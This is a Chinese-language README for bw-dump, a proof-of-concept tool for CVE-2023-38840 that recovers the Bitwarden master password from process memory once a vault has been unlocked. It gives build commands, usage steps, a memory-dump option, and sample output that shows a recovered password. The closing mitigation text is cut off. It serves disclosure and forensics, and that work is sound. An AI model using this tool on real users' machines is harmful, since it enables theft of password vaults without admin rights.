更新2：此漏洞被分配了 CVE-2023-38840。
更新：GitHub 上已发布了一个拉取请求（5813）的补丁，修复了该漏洞。受影响的版本是 Bitwarden Desktop 2023.7.0 及以下版本。
一个概念验证工具，可从锁定状态的 Bitwarden 密码库中提取主密码（密码库必须至少解锁过一次）。此工具仅适用于当前会话，系统重启后将无法使用。不需要管理员权限。
已发布一篇博客文章，可在此处查看：https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
使用 bw-dump 配合 Microsoft Edge 和 Bitwarden 浏览器扩展的简短演示。最新工具仅适用于 Bitwarden Desktop。
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
警告：Windows Defender 会将编译后的二进制文件报告为恶意软件！
要构建经过 strip 的二进制文件，请执行：
go build -ldflags="-s -w"
要在 Linux 系统上构建，请执行：
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
只需构建并执行二进制文件即可。不需要管理员权限。确保 Bitwarden 进程正在运行。此外，密码库至少需要解锁一次。之后，主密码会在内存中存储一段时间。
您也可以传递 -d 选项，当发现模式时转储内存区域。每个结果会在当前工作目录中创建一个名为 dump-pid-<PID>-<MEM-REGION>.hex 的文件。
示例输出
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
有两种（可能更多）方法可以从内存中清除主密码：
Bitwarden.exe 进程，Windows 应会进行一些垃圾回收。